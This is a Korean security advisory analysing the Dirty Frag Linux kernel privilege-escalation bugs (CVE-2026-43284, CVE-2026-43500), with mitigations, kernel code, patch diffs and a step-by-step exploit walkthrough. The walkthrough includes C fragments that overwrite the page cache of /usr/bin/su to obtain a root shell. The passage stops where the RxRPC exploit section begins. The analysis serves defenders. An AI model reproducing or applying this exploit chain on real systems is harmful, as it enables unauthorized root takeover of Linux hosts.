01. Executive Summary
•
사건개요
◦
리눅스 배포판에서 루트 권한 획득이 가능한 ESP 취약점(CVE-2026-43284)과 RxRPC 변종(CVE-2026-43500)을 결합한 Dirty Frag 취약점이 공개
▪
김현우(@v4bel)연구원에 의해 발견, RxRPC 변종(CVE-2026-43500)의 경우 ikotaslabs에서 Linux 커널(7.1-rc2)에서 Dirty Frag 패밀리의 권한 상승 변종이 포함
•
대응방안
◦
Copy Fail(CVE-2026-31431) 취약점 공개 이후 리눅스 루트 권한 탈취 취약점이 다수 발견되고 있음에 따라 커널 보안패치 필요
◦
즉시 보안패치가 어려운 경우
▪
IPsec 전송 모드(Transport mode)나 AFS(Andrew File System)가 필요하지 않은 호스트에서는 취약한 모듈이 로드되지 않도록 차단하여 즉시 조치
▪
AWS의 2026-027 보안 권고에 따르면, 최초 공개된 3개 모듈 외에도 이를 둘러싼 xfrm_user, ipcomp4, ipcomp6 모듈까지 차단 리스트를 확장할 것을 권고하고 있으나 만약 커널 빌드 시 해당 기능들이 모듈 형태가 아닌 커널 내부에 직접 포함(Compiled-in)되어 있다면 이 조치는 효과가 없음
▪
컨테이너 런타임에서 seccomp 프로필을 사용하여 AF_KEY, AF_RXRPC, 그리고 XFRM netlink 시스템 호출을 제한
▪
기본 Docker seccomp 프로필은 이미 AF_RXRPC를 차단하고 있지만, AF_KEY나 XFRM netlink 설정 작업은 아직 차단하지 않고 있음
◦
SPIDER ExD를 이용해 Dirty Flag Threat Hunting 적용 시
▪
Debian: (test by Ubuntu): `/var/log/auth.log`, RHEL: (test by Rocky Linux): `/var/log/messages`, RHEL: `/var/log/audit/audit.log`에서 침해여부 확인 가능
02. Overview
2.1. 취약점 개요
•
xfrm-ESP 취약점과 RxRPC 취약점을 체이닝(Chaining)을 통해 대부분의 리눅스 배포판에서 루트 권한 획득이 가능한 Dirty Frag 취약점 공개
◦
김현우(@v4bel) 연구원에 의해 처음 발견 및 보고되었으며 다른 단체가 조직적인 엠바고를 깨뜨리는 바람에 패치가 배포되기 전, 예정보다 앞서 공개할 수밖에 없었다고 주장
◦
linux-distros@vs.openwall.org 관리자들과의 협의를 통해 Dirty Frag가 공개되는 것은 협의 완료
◦
취약점 상세 정보 : https://github.com/V4bel/dirtyfrag
•
Dirty Frag 취약점은 CVE-2026-43284와 CVE-2026-43500 취약점의 결합
◦
ESP 취약점(CVE-2026-43284)은 2017년 1월 커밋 cac2661c53f3을 통해 발생했으며 이 커밋은 IPsec ESP 수신을 제자리 복호화 고속 경로로 이동하며, RxRPC 변종(CVE-2026-43500)은 2023년 6월 동일한 고속 경로 패턴이 rxrp에 추가되면서 발생
•
두 취약점의 공통점은 Zero-copy 전송 경로를 악용하는 것으로 공격자는 splice()를 사용해 읽기 권한만 있는 파일의 페이지 캐시 참조를 송신측 skb(Socket Buffer)의 frag 슬롯에 그대로 심어넣고 이때 수신측 커널 코드가 이 frag 위에서 In-place(제자리) 암호화 동작을 수행
•
그 결과 /etc/passwd나 /usr/bin/su 같은 민감한 파일의 페이지 캐시가 RAM 상에서 직접 수정되며, 이후의 모든 읽기 작업은 변조된 복사본 확인이 가능
POC 테스트 버전
•
Ubuntu 24.04.4: 6.17.0-23-generic
•
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
•
openSUSE Tumbleweed: 7.0.2-1-default
•
CentOS Stream 10: 6.12.0-224.el10.x86_64
•
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
•
Fedora 44: 6.19.14-300.fc44.x86_64
[Ubuntu 24.04환경에서 POC 실행 화면]
[Ubuntu 26.04환경에서 POC 실행 화면]
2.2. 영향받는 버전 및 완화방안
1) 영향받는 버전
•
CVE-2026-43284 : xfrm-ESP 페이지 캐시 쓰기 취약점은 cac2661c53f3(2017-01-17) 부터 f4c50a4034e6(2026-05-05)까지 범위에 포함
•
2) 완화방안
•
취약점이 해결된 패치된 커널 버전으로 즉시 업데이트 필요
•
커널 업데이트가 즉시 어려운 경우
◦
IPsec 전송 모드(Transport mode)나 AFS(Andrew File System)가 필요하지 않은 호스트에서는 취약한 모듈이 로드되지 않도록 차단하여 즉시 조치
◦
AWS의 2026-027 보안 권고에 따르면, 최초 공개된 3개 모듈 외에도 이를 둘러싼 xfrm_user, ipcomp4, ipcomp6 모듈까지 차단 리스트를 확장할 것을 권고하고 있으나 만약 커널 빌드 시 해당 기능들이 모듈 형태가 아닌 커널 내부에 직접 포함(Compiled-in)되어 있다면 이 조치는 효과가 없음
◦
컨테이너 런타임에서 seccomp 프로필을 사용하여 AF_KEY, AF_RXRPC, 그리고 XFRM netlink 시스템 호출을 제한
◦
기본 Docker seccomp 프로필은 이미 AF_RXRPC를 차단하고 있지만, AF_KEY나 XFRM netlink 설정 작업은 아직 차단하지 않고 있음
•
다음 명령어를 사용하여 취약점이 발생하는 모듈을 제거하고 페이지 캐시 삭제
◦
esp4, esp6, rxrpc 모듈을 /etc/modprobe.d/dirtyfrag.conf에 블랙리스트로 등록하고 언로드
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
JavaScript
복사
•
현재 구동 중인 워크로드 중 IPsec 및 AFS를 정당하게 사용하는 사용자가 있는지 감사
•
setuid 바이너리 및 /etc/passwd 파일에 대한 예상치 못한 수정사항을 모니터링
•
비특권 프로세스에서 발생하는 splice 및 vmsplice 활동 이후에 나타나는 비정상적인 권한 전이(Privilege transition) 현상을 집중적으로 감시
2.3. 취약점 배경
•
Dirty Frag는 Dirty Pipe(CVE-2022-0847) 및 Copy Fail(CVE-2026-31431)과 동일한 클래스에 속하는 취약점
•
Dirty Pipe : struct pipe_buffer를 덮어쓰는 반면, Dirty Frag는 struct sk_buff의 frag 영역을 덮어쓰는 방식으로 취약점 발현
•
Copy Fail : 공격자는 splice(file -> pipe -> AF_ALG_fd)를 사용하여 공격자가 고정(pin)한 페이지 캐시 페이지를 TX SGL에 심고 recv() 호출 내부에서 TX SGL의 마지막 4바이트(태그)가 areq->tsgl로 분리되어 sg_chain을 통해 RX SGL의 끝에 체이닝
◦
aead_request_set_crypt(req, src=RX, dst=RX) 호출은 제자리(in-place) 모드를 결정하고, scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1)는 바이트 재배열의 일부로 목적지(dst) 끝에 seqno_lo 4바이트를 임시 쓰기(scratch write)를 수행
◦
일반적인 IPsec 경로에서 해당 위치는 skb의 태그 영역이므로 이 쓰기 동작은 무해하나 공격자가 고정한 페이지가 해당 위치에 배치되면 이 가정이 깨지면서 취약점이 발현
[용어설명]
•
Page Cache (페이지 캐시) : 리눅스 커널이 하드디스크의 파일에 접근할 때 성능을 높이기 위해 사용하는 메모리상의 복사본으로 파일을 읽으면 커널은 디스크에서 데이터를 가져와 RAM(페이지 캐시)에 올려두고 이후 다른 프로세스가 같은 파일을 읽을 때 디스크로 가지 않고 이 메모리에서 바로 읽음
◦
Dirty Frag는 이 '읽기 전용'이어야 할 페이지 캐시 메모리를 직접 수정해 버리는 것이 핵심
•
struct sk_buff (Socket Buffer / skb) : 리눅스 커널에서 네트워크 패킷을 담는 가장 기본적인 구조체로 패킷의 헤더 정보와 실제 데이터가 어디에 있는지에 대한 포인터를 포함
◦
Linear (선형) skb: 데이터가 연속된 하나의 메모리 공간에 있는 상태
◦
Non-linear (비선형) skb: 데이터가 여러 조각(frags)으로 나뉘어 저장된 상태
•
frag (Fragment) : 비선형 skb에서 데이터를 담고 있는 메모리 조각으로 struct skb_shared_info라는 구조체 안에 frags[] 배열 형태로 존재하며, 각 조각은 물리 메모리 페이지를 가리킴
•
Dirty Frag : splice에서 기인한 비선형(nonlinear) skb의 frag 위에서 동일한 패턴이 재현되는 취약점
◦
xfrm-ESP 페이지 캐시 쓰기: esp_input이 skb_cow_data를 우회하고 crypto_authenc_esn_decrypt를 frag 위에서 직접 실행
◦
RxRPC 페이지 캐시 쓰기: rxkad_verify_packet_1이 frag 위에서 pcbc(fcrypt)를 사용해 제자리(in-place) 단일 블록 복호화를 수행
◦
참고로 Dirty Frag는 algif_aead 모듈의 가용 여부와 관계없이 트리거 되며 공개적으로 알려진 Copy Fail 완화책(algif_aead 블랙리스트)이 적용된 시스템이라 할지라도, 해당 리눅스는 여전히 Dirty Frag에 취약
[용어설명]
•
splice() 시스템 콜 : 데이터를 복사(copy)하지 않고 참조(reference)만 옮기는 제로 카피(Zero-copy) 기술로 파일의 데이터를 네트워크로 보낼 때 데이터를 사용자 공간으로 복사해왔다가 다시 커널로 보내는 대신, 파일의 페이지 캐시 주소를 직접 네트워크 패킷(skb)의 frag에 꽂는 기술
•
Dirty Pipe, Copy Fail, Dirty Frag 기능 비교
◦
(개념적 차이) 3개 취약점 모두 읽기 권한만 있는 파일의 캐시를 메모리 상에서 직접 수정한다는 점에서 공통점이 있으나, 타겟팅하는 커널 구조체와 공격 프리미티브(Primitive)에서 차이가 존재
◦
(공격타깃의 방법) Dirty Pipe가 파이프 인터페이스의 단순한 플래그 오류였다면, Copy Fail과 Dirty Frag는 메모리 공유(Zero-copy)를 처리하는 커널의 복잡한 로직 내에서 "공유된 페이지 캐시 페이지"를 "쓰기 가능한 개인 영역"으로 오인하는 논리적 결함을 이용
◦
(방어적 측면) Dirty Frag는 특히 algif_aead와 같은 고립된 모듈이 아닌, 커널의 핵심 네트워크 스택(xfrm)이나 통신 프로토콜(RxRPC) 내에 존재하므로 단순히 모듈을 차단하는 방식으로 방어하기 어려움
비교 항목 | Dirty Pipe (CVE-2022-0847) | Copy Fail (CVE-2026-31431) | Dirty Frag (CVE-2026-43284) |
공격 타깃 | struct pipe_buffer | AF_ALG (Crypto SGL) | struct sk_buff (frag 영역) |
발생 지점 | 파이프 서브시스템 | 암호화 서브시스템 (algif_aead) | 네트워크 서브시스템 (xfrm, RxRPC) |
트리거 방식 | 파이프 플래그(PIPE_BUF_FLAG_CAN_MERGE) 미초기화 악용 | sg_chain을 통한 페이지 캐시 오염 및 인플레이스 암호화 | 비선형 skb의 skb_cow_data 우회 및 인플레이스 암호화/복호화 |
쓰기 프리미티브 | 파이프에 데이터를 쓰는 것만으로 임의의 오프셋 수정 가능 | 암호화 알고리즘의 바이트 재배열 과정에서 발생하는 4바이트 쓰기 | ESP 시퀀스 번호 재배열(4바이트) 또는 fcrypt 복호화 결과물(8바이트) 쓰기 |
환경적 제약 | 특정 커널 버전(5.8 이상)에 국한 | algif_aead 모듈이 로드되어 있어야 함 | 네트워크 모듈 의존성 (xfrm, rxrpc), unshare 권한 필요성(ESP) |
보안패치외 완화방안 | 불가능 (커널 패치 필수) | 블랙리스트로 대응 가능하나 Dirty Frag에 무력함 | 모듈 블랙리스트 우회 가능, 커널 로직 패치만으로 해결 가능 |
레이스컨디션 여부 | 레이스 컨디션 필요 없음 | 레이스 컨디션 필요 없음 | 레이스 컨디션 필요 없음 (높은 성공률) |
03. Vulnerability Analysis
•
Dirty Frag는 xfrm-ESP 취약점과 RxRPC 취약점을 연계한 체이닝 구조로 발생되기 때문에 각각의 구조 파악이 필요
3.1. CVE-2026-43284 : frm-ESP 페이지 캐시 쓰기(xfrm-ESP Page-Cache Write)
1) 취약점 근본 원인
① COW(Copy-on-Write) 우회 로직
•
ESP 페이로드에 대해 제자리(In-place) AEAD 복호화를 수행하기 전, skb가 비선형(non-linear)인 경우 esp_input()은 원래 skb_cow_data()를 호출하여 새로운 커널 전용 프라이빗 버퍼를 할당하고, 조각(frag) 데이터를 그곳으로 복사한 뒤 제자리 연산을 수행
•
아래의 분기문은 이 COW 과정을 우회하는 경로를 만들어 내는데 사용
static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
{
[...]
if (!skb_cloned(skb)) {
// [1] 지점: skb가 비선형이 아닐 때
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
}
// [2] 지점: 비선형이지만 frag_list가 없을 때
else if (!skb_has_frag_list(skb)) {
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow; // <= 여기서 COW를 건너뜁니다.
}
}
err = skb_cow_data(skb, 0, &trailer);
[...]
JavaScript
복사
•
[1] 지점에서 skb에 조각(frag)이 있더라도 frag_list가 없다면 코드는 즉시 [2]로 점프하여 조각(frag) 위에서 직접 암호화 연산을 수행
•
만약 공격자가 splice를 통해 페이지 캐시 페이지를 이 조각(frag)에 고정(pinned)시켜 두었다면, 해당 페이지가 곧 소스(src)이자 목적지(dst)
② 제자리 암호화 도중 발생하는 쓰기(STORE) 작업
•
문제는 제자리 암호화 자체보다는, 이 과정에서 쓰기(STORE) 작업이 발생한다는 점으로 ESP + ESN(확장 시퀀스 번호) + authencesn(...) 조합을 사용할 때, crypto_authenc_esn_decrypt()는 시퀀스 번호의 상위 4바이트를 소스 SGL의 끝으로 옮기는 전처리 단계에서 다음과 같은 쓰기(STORE)를 수행
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
[...]
/* 시퀀스 번호의 상위 비트를 끝으로 이동시킴 */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] 지점: 4바이트 STORE 발생
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
[...]
JavaScript
복사
•
[3] 지점의 4바이트 쓰기는 목적지(dst) SGL의 assoclen + cryptlen 위치에서 발생
•
공격자가 페이로드 길이를 조절하여 splice로 심어둔 페이지 P가 해당 위치에 오도록 맞춘다면, 페이지 P의 정확히 원하는 파일 오프셋 위치에 4바이트를 쓸 수 있게 됨
③ 써지는 값의 제어
•
이 4바이트의 값은 tmp + 1이 가리키는 데이터, 즉 ESP 헤더에 있는 시퀀스 번호의 상위 32비트
•
이 값의 출처를 추적해 보면, esp_input_set_header()가 단순히 SA(보안 협약)의 XFRM_SKB_CB(skb)->seq.input.hi 값을 복사해 넣은 것으로 이 값은 사용자가 SA 등록 시 XFRMA_REPLAY_ESN_VAL 넷링크 속성을 통해 자유롭게 지정한 replay_esn->seq_hi 값을 의미
static void esp_input_set_header(struct sk_buff *skb, __be32 *seqhi)
{
[...]
if ((x->props.flags & XFRM_STATE_ESN)) {
esph = skb_push(skb, 4);
*seqhi = esph->spi;
esph->spi = esph->seq_no;
// 사용자가 지정한 seq_hi 값이 여기에 들어갑니다.
esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;
}
}
JavaScript
복사
④ 공격 조건
•
결과적으로 공격자는 쓰기가 발생하는 위치(파일 오프셋)와 값(4바이트)을 모두 완벽하게 제어가 가능
•
AEAD 인증 확인은 이 쓰기 작업 이후에 실행되므로, 인증에 실패하더라도 이미 쓰기(STORE)는 발생한 상태이며 페이지 캐시 수정 사항은 영구적으로 남게 되어 공격자는 SA의 인증 키를 몰라도 수정을 성공시킬 수 있음
•
추가로, esp_input이 호출되려면 XFRM SA가 등록되어야 하며, 이를 위해서는 CAP_NET_ADMIN 권한이 필요
•
이는 공격자가 사용자 네임스페이스(User Namespace)를 생성할 수 있는 권한이 있어야 함을 의미
2) Exploit
① 공격 목표
•
공격 대상은 /usr/bin/su으로 setuid-root 비트가 유지된 상태에서 /usr/bin/su의 페이지 캐시 첫 192바이트(파일 오프셋 0부터 시작)를 루트 셸을 실행하는 정적 ELF 바이너리로 완전히 교체
◦
새 ELF의 구조: 가상 주소 0x400000에 0xb8 바이트를 PT_LOAD를 통해 읽기+실행(R+X) 권한으로 매핑
◦
엔트리 포인트: 파일 오프셋 0x78(가상 주소 0x400078)에서 setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", ...)를 실행
◦
공격 효과: 이 과정을 통해 PAM(인증 모듈) 흐름을 완전히 우회하며, 단 한 번의 execve("/usr/bin/su") 실행만으로 루트 셸을 획득하게 되고, 192바이트의 데이터는 4바이트씩 48개의 청크로 나뉘어 ESP 변종의 4바이트 임의 쓰기(STORE) 프리미티브를 통해 작성
② 공격환경 : 네임스페이스 격리
•
XFRM SA(보안 협약) 등록에는 CAP_NET_ADMIN 권한이 필요하므로, 자식 프로세스는 unshare(CLONE_NEWUSER | CLONE_NEWNET)를 통해 새로운 사용자/네트워크 네임스페이스 내부로 격리되어 해당 네임스페이스 내에서 루트 권한
◦
매핑: 0 <실제_UID> 1의 ID 매핑을 사용
◦
네트워크: ioctl(SIOCSIFFLAGS)를 사용하여 새 네임스페이스의 루프백(lo) 인터페이스를 UP 상태로 활성화
unshare(CLONE_NEWUSER | CLONE_NEWNET);
write_proc("/proc/self/setgroups", "deny");
write_proc("/proc/self/uid_map", "0 <real_uid> 1");
write_proc("/proc/self/gid_map", "0 <real_gid> 1");
ioctl(s, SIOCSIFFLAGS, &(struct ifreq){ .ifr_name="lo", .ifr_flags=IFF_UP|IFF_RUNNING });
JavaScript
복사
③ XFRM SA 등록
•
다음으로 48개 청크 분량의 XFRM SA를 한꺼번에 등록
•
각 SA는 고유한 SPI(0xDEADBE10 + i)를 가지며, XFRMA_REPLAY_ESN_VAL.seq_hi에 배치된 4바이트 데이터(셸코드의 각 청크)가 페이지 캐시에 기록될 실제 값으로 사용
◦
SA 설정: XFRM_MODE_TRANSPORT + XFRM_STATE_ESN, 알고리즘은 authencesn(hmac(sha256), cbc(aes)), UDP 캡슐화(포트 4500) 등을 사용
◦
키 설정: 인증 및 복호화 검증은 어차피 실패할 것이므로 HMAC 키와 암호화 키는 임의의 값을 사용
struct xfrm_replay_state_esn esn = {
.bmp_len = 1, .seq = 100, .replay_window = 32,
.seq_hi = patch_seqhi, /* 페이지 캐시에 기록될 4바이트 값 */
};
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, &esn, sizeof(esn) + 4);
JavaScript
복사
④ Trigger 매커니즘
•
각 청크의 트리거는 새로 생성된 sk_recv(UDP_ENCAP_ESPINUDP 설정)와 sk_send 쌍을 사용
•
sk_recv로 도착한 UDP 패킷은 일반 UDP 큐가 아닌 xfrm4_udp_encap_rcv -> xfrm_input -> esp_input 경로로 라우팅
◦
패킷 구성: vmsplice를 통해 위조된 ESP 와이어 헤더(24바이트)를 파이프에 등록
◦
파일 연결: splice를 사용하여 /usr/bin/su 파일 오프셋 i*4 지점의 16바이트를 다음 파이프 슬롯에 등록
◦
전송: splice_to_socket()은 자동으로 MSG_SPLICE_PAGES를 설정하며, 이로 인해 /usr/bin/su의 페이지 캐시 페이지 P가 송신측 skb의 frag[0]에 그대로 심어지게 됨
uint8_t hdr[24];
*(uint32_t *)(hdr + 0) = htonl(spi); /* 청크별 SPI */
*(uint32_t *)(hdr + 4) = htonl(SEQ_VAL); /* 와이어 seq_no_lo */
memset(hdr + 8, 0xCC, 16); /* IV (값은 무관) */
vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0);
splice(file_fd, &(off_t){i*4}, pfd[1], NULL, 16, SPLICE_F_MOVE);
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
JavaScript
복사
⑤ 수신 측 처리 및 취약점 발현
•
송신된 skb는 루프백을 통해 수신되며, 아래와 같은 구조
◦
head/linear: ESP 헤더 + IV (24바이트)
◦
frags[0]: /usr/bin/su의 페이지 캐시 페이지 P (오프셋 i*4, 크기 16)
udp_rcv(skb)
xfrm4_udp_encap_rcv(sk, skb)
xfrm_input(skb, IPPROTO_ESP, spi, 0)
esp_input(x, skb)
pskb_may_pull(skb, sizeof(esp_hdr) + ivlen)
if (!skb_cloned(skb) && !skb_has_frag_list(skb)) // 취약한 분기: 페이지 P를 담은 frag 보존
goto skip_cow;
esp_input_set_header(skb, seqhi)
skb_push(skb, 4);
esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;
skb_to_sgvec(skb, sg, 0, skb->len)
aead_request_set_crypt(req, sg, sg, elen+ivlen, iv)
crypto_aead_decrypt(req)
crypto_authenc_esn_decrypt(req)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, /*out=*/1)
memcpy(page_address(P) + i*4, &tmp[1], 4); // 4바이트 STORE 발생: 페이지 P[i*4..i*4+3] = patch_seqhi
JavaScript
복사
수신측 실행 흐름
1.
udp_rcv -> xfrm_input -> esp_input 호출
2.
esp_input에서 skb_cloned 및 skb_has_frag_list 검사 시 취약한 분기를 만나 skip_cow로 점프. (페이지 P가 보존됨)
3.
esp_input_set_header에서 시퀀스 번호를 사용자가 등록한 seq_hi로 설정
4.
crypto_authenc_esn_decrypt 실행 중 scatterwalk_map_and_copy 호출
5.
결과: memcpy(page_address(P) + i*4, &tmp[1], 4); 가 실행되어 페이지 P의 특정 오프셋에 공격자의 4바이트가 기록됨
⑥ 최종 공격 성공
•
단 한 번의 호출로 파일 오프셋 i*4에 정확히 4바이트가 기록되어 AEAD 인증 결과는 -EBADMSG(인증 실패)를 반환하지만, 쓰기 작업은 이미 완료된 후이므로 오류는 무시
•
i를 0부터 47까지 반복하면 192바이트의 ELF 바이너리가 페이지 캐시 위에 완전히 조립되며, 이 과정은 레이스 컨디션 없이 결정론적으로 작동해서 한 번 기록된 페이지 캐시는 재부팅이나 캐시 삭제 전까지 유지
•
이후 부모 프로세스에서 execve("/usr/bin/su")를 실행하면, 커널은 오염된 페이지 캐시를 로드하고 setuid-root 권한으로 공격자의 쉘코드를 실행하여 루트 셸을 띄우는 역할을 수행
3) Patch
•
이 패치는 IPv4/IPv6 데이터그램 추가 경로(append paths)에서 splice를 통해 들어온 페이지 조각(page frags)에 SKBFL_SHARED_FRAG 플래그를 설정
•
또한, ESP 입력 단계(esp_input / esp6_input)의 skip_cow 분기에서 이 플래그를 확인하도록 수정
•
이를 통해 외부에서 고정(pinned)된 페이지를 가진 skb는 항상 skb_cow_data 경로로 라우팅되도록 강제
•
결과적으로, 공격자가 고정한 페이지 캐시 페이지는 더 이상 제자리(In-place) AEAD의 목적지 SGL(dst SGL)에 진입할 수 없게 되며, 이로써 페이지 캐시 변조가 원천적으로 차단
[용어설명]
•
SKBFL_SHARED_FRAG 플래그의 역할 : 이 플래그는 해당 메모리 조각이 "파일의 페이지 캐시와 같은 외부와 공유되고 있음"을 커널에 알리는 표식으로 패치는 ip_append_data 또는 ip6_append_data 함수 내부에서 splice를 통해 데이터가 추가될 때 이 플래그를 명시적으로 할당
•
검사지점 강화(esp_input/esp6_input) : 기존에는 skb_cloned(skb)와 skb_has_frag_list(skb)만 확인하여 지름길(skip_cow)로 갈지를 결정하는 것으로 패치 이후에는 여기에 !skb_has_shared_frag(skb) 조건이 추가되어 공유된 조각이 하나라도 있다면 무조건 안전산 복사본을 만드는 skb_cow_data를 호출하는 구조로 변경
diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c
index 6dfc0bcde..6a5febbdb 100644
--- a/net/ipv4/esp4.c
+++ b/net/ipv4/esp4.c
@@ -873,7 +873,8 @@ static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
nfrags = 1;
goto skip_cow;
- } else if (!skb_has_frag_list(skb)) {
+ } else if (!skb_has_frag_list(skb) &&
+ !skb_has_shared_frag(skb)) { // frag_list가 없더라도 shared_frag가 있다면 skip_cow를 하지 못하게 막음
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index e4790cc7b..5bcd73cbd 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -1233,6 +1233,8 @@ static int __ip_append_data(struct sock *sk,
if (err < 0)
goto error;
copy = err;
+ if (!(flags & MSG_NO_SHARED_FRAGS))
+ skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;
wmem_alloc_delta += copy;
} else if (!zc) {
int i = skb_shinfo(skb)->nr_frags;
diff --git a/net/ipv6/esp6.c b/net/ipv6/esp6.c
index 9f7531373..9c06c5a14 100644
--- a/net/ipv6/esp6.c
+++ b/net/ipv6/esp6.c
@@ -915,7 +915,8 @@ static int esp6_input(struct xfrm_state *x, struct sk_buff *skb)
nfrags = 1;
goto skip_cow;
- } else if (!skb_has_frag_list(skb)) {
+ } else if (!skb_has_frag_list(skb) &&
+ !skb_has_shared_frag(skb)) {
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
index 7e92909ab..1f2a33fbe 100644
--- a/net/ipv6/ip6_output.c
+++ b/net/ipv6/ip6_output.c
@@ -1794,6 +1794,8 @@ static int __ip6_append_data(struct sock *sk,
if (err < 0)
goto error;
copy = err;
+ if (!(flags & MSG_NO_SHARED_FRAGS))
+ skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; // 데이터 추가 시 공유 플래그를 강제로 세팅하여 이후 ESP 단계에서 감지되게 함
wmem_alloc_delta += copy;
} else if (!zc) {
int i = skb_shinfo(skb)->nr_frags;
JavaScript
복사
•
위의 패치 과정은 크게 2가지 단계로 진행
◦
esp4/esp6의 입력 패스트 패스(Fast Path)에서 skb_cow_data()를 직접 호출하는 방식 : 저자(v4bel)가 처음 제안한 방식은 문제가 발생하는 지점(ESP 입력 루틴)에서 "묻지도 따지지도 말고 일단 메모리 복사(COW)를 수행해라"라고 강제하는 방식으로 이는 보안상 확실하지만, 모든 패킷에 대해 복사를 수행할 경우 네트워크 성능이 저하될 수 있는 단점이 존재
◦
최종적으로 병합(Merged)된 패치는 내가 패치를 발표하고 4일 후에 Kuan-Ting Chen이 후속으로 제출한 '공유 프래그(shared-frag)' 접근 방식을 기반 : 최종적으로 리눅스 커널 메인라인에 반영된 방식은 더 우아하고 효율적인 방식으로 무조건 복사하는 대신, 해당 패킷이 splice() 등을 통해 외부와 메모리를 공유하고 있는지(shared-frag)를 먼저 확인하고, 위험한 경우에만 선택적으로 복사를 수행하도록 설계
구분 | v1 패치 (Direct COW) | 최종 패치 (Shared-frag Approach) |
작동 원리 | ESP 입력 단계에서 무조건 skb_cow_data() 호출 | 패킷 생성 시 플래그를 세팅하고, ESP 단계에서 이를 검사 |
성능 영향 | 모든 ESP 패킷의 처리 속도가 약간 느려짐 | 일반적인 패킷은 성능 저하가 없으며, 위험한 패킷만 복사 |
정교함 | 단순하고 강력한 방어 | 커널의 상태 관리(Flag)를 활용한 지능적 방어 |
•
최종적으로는 데이터가 splice를 통해 네트워크 스택으로 들어올 때, 커널은 이 패킷 조각(frag)이 파일 시스템과 메모리를 공유하고 있다는 증표로 SKBFL_SHARED_FRAG라는 플래그를 추가하고 ESP모듈이 패킷을 처리하기 직전에 이 플래그가 존재하는지 확인
◦
이를 통해 플래그가 없다면 안전한 데이터라고 판단하고 Fast Path로 통과하고
◦
플래그가 있다면 공격자가 심어둔 페이지 캐시라고 판단하고 skb_cow_data()를 호출하여 안전하게 복사본을 만든 뒤 연산하도록 구현
3.2. CVE-2026-43500 : RxRPC 페이지 캐시 쓰기 (RxRPC Page-Cache Write)
1) 취약점 근본 원인
•
RXKAD 보안 클래스의 RXRPC_SECURITY_AUTH 레벨에서 데이터 패킷을 검증하기 위해, rxkad_verify_packet_1()은 skb의 rxrpc 페이로드 첫 8바이트에 대해 제자리(In-place) pcbc(fcrypt) 복호화를 수행
static int rxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,
rxrpc_seq_t seq,
struct skcipher_request *req)
{
[...]
/* skbuff를 제자리에서 복호화합니다.
* TODO: 우리는 정말로 타겟 버퍼로 직접 복호화하기를 원합니다.
*/
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
if (unlikely(ret < 0))
return ret;
/* 복호화를 새로 시작합니다. */
memset(&iv, 0, sizeof(iv));
skcipher_request_set_sync_tfm(req, call->conn->rxkad.cipher);
skcipher_request_set_callback(req, 0, NULL, NULL);
// [4] 지점: src와 dst SGL이 동일(sg, sg)하여 제자리(in-place) 연산이 됨
skcipher_request_set_crypt(req, sg, sg, 8, iv.x);
// [5] 지점: 8바이트 STORE(쓰기)가 발생
ret = crypto_skcipher_decrypt(req);
JavaScript
복사
•
메커니즘: [4]에서 소스(src)와 목적지(dst) SGL이 동일하므로 제자리 연산이 수행되며, skb_to_sgvec()가 skb의 조각(frag)을 SGL로 직접 변환하기 때문에 공격자가 splice를 통해 frag에 고정시킨 페이지 캐시 페이지 P가 그대로 src/dst SGL이 되어 [5]에서 페이지 P 위에 8바이트 쓰기(STORE)가 발생
•
ESP 변종과의 차이: ESP 버전은 공격자가 4바이트 값을 직접 제어하지만, RxRPC 버전은 공격자의 키 K로 한 번 암호화 함수를 통과한 8바이트가 기록. IV가 0이고 단일 블록이므로, pcbc_decrypt(C, K, IV=0)는 fcrypt_decrypt(C, K)와 동일
•
키 제어: fcrypt는 56비트 키와 8바이트 블록을 사용하는 결정론적 함수로 공격자는 add_key("rxrpc", ...)를 통해 session_key 필드에 키 K를 등록할 수 있으며, 이 작업에는 아무런 권한이 필요하지 않기 때문에 일반 사용자도 K를 자유롭게 제어 가능
•
장점: xfrm-ESP 버전과 달리, 이 취약점은 사용자 네임스페이스(User Namespace) 생성 권한 없이도 트리거가 가능
2) Exploit
•
RxRPC 변종은 기록되는 값이 fcrypt_decrypt(C, K)이므로 공격자가 값을 직접 선택할 수 없으며 원하는 8바이트를 심으려면 사용자 공간에서 키 K를 무차별 대입(Brute-force)
•
8바이트 전체를 특정 값으로 맞추려면 키 공간이 $2^{56}$에 달해 불가능하지만, 아주 적은 바이트만 결정하면 되는 대상을 선택하면 현실적인 시간 내에 가능
① 공격 대상: /etc/passwd의 첫 번째 줄 (root 엔트리)
•
